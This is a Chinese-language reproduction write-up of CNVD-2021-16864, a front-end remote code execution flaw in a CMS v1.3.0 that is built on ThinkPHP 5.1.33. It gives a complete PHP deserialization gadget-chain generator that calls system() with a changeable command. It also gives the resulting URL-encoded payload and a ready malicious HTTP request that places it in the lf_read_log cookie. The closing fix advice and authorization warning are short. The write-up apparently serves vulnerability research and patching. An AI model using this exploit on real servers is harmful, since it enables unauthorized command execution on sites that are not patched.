CNVD-2021-16864 某雨cms前台rce复现分析
字数 1132 2025-08-05 08:17:55
某雨CMS前台RCE漏洞复现与分析 (CNVD-2021-16864)
漏洞概述
本漏洞是某雨CMS v1.3.0版本中存在的一个前台远程代码执行漏洞,由于系统使用了存在反序列化漏洞的ThinkPHP框架(5.1.33版本)并结合可控的反序列化输入点,导致攻击者可以在未授权情况下执行任意系统命令。
环境搭建
-
下载安装包:
- 从官网下载1.3.0版本(注意:新版本可能已修复此漏洞)
- 下载地址:http://bbs.kyxscms.com/?t/1.html
-
安装说明:
- 参考官方安装文档:http://help.kyxscms.com/935571
- 或参考第三方安装教程:https://www.jianshu.com/p/b631b16934c8
-
安装环境:
- 使用PHPStudy等集成环境搭建
- 安装完成后在前台注册用户(漏洞利用需要已登录用户身份)
漏洞利用步骤
1. 生成Payload
使用以下PHP代码生成反序列化Payload:
<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = [$files];
}
}
}
namespace think\model\concern {
trait Conversion {}
trait Attribute
{
private $data;
private $withAttr = ["lin" => "system"];
public function get()
{
$this->data = ["lin" => "whoami"]; // 此处可修改为要执行的命令
}
}
}
namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
public function __construct()
{
$this->get();
}
}
}
namespace {
$conver = new think\model\Pivot();
$payload = new think\process\pipes\Windows($conver);
echo urlencode(serialize($payload));
}
?>
运行后会生成如下URL编码的Payload:
O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22lin%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22lin%22%3Bs%3A6%3A%22system%22%3B%7D%7D%7D%7D
2. 构造恶意请求
使用Burp Suite或其他工具构造如下HTTP请求:
GET /user/recentread HTTP/1.1
Host: 目标IP
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Cookie: lf___forward__=%2Findex.php; lf_user_auth=think%3A%7B%22uid%22%3A%221%22%2C%22username%22%3A%22test123%22%7D; lf_user_auth_sign=55191927140cf618017e2013feb6902eea3a01e0; lf_read_log=生成的Payload
Connection: close
关键点:
- 需要已登录用户的Cookie(lf_user_auth和lf_user_auth_sign)
- Payload必须放在
lf_read_logCookie字段中 - Cookie键名前缀为
lf_(系统自动添加)
漏洞分析
1. 漏洞成因
漏洞主要由两个因素共同导致:
- 系统使用了存在反序列化漏洞的ThinkPHP 5.1.33框架
- 系统提供了可控的反序列化输入点(通过Cookie中的
read_log字段)
2. 反序列化链分析
利用链执行流程:
think\process\pipes\Windows类被反序列化- 触发
think\model\Pivot类的构造方法 - 调用
get()方法设置$data和$withAttr属性 - ThinkPHP框架在处理模型属性时会调用
system()函数执行命令
3. 关键代码点
漏洞触发路径:
- 访问
/user/recentread路由 - 系统从Cookie中读取
read_log字段(实际为lf_read_log) - 对Cookie值进行反序列化操作
- 触发反序列化漏洞执行任意命令
修复建议
- 升级ThinkPHP框架到安全版本
- 对用户输入的序列化数据进行严格过滤
- 禁用不必要的反序列化操作
- 更新某雨CMS到最新版本(官方可能已发布修复版本)
注意事项
- 实际测试时需确保使用v1.3.0版本(新版本可能已修复)
- 漏洞利用需要先注册并登录一个普通用户账号
- 测试应在授权环境下进行,避免违反法律法规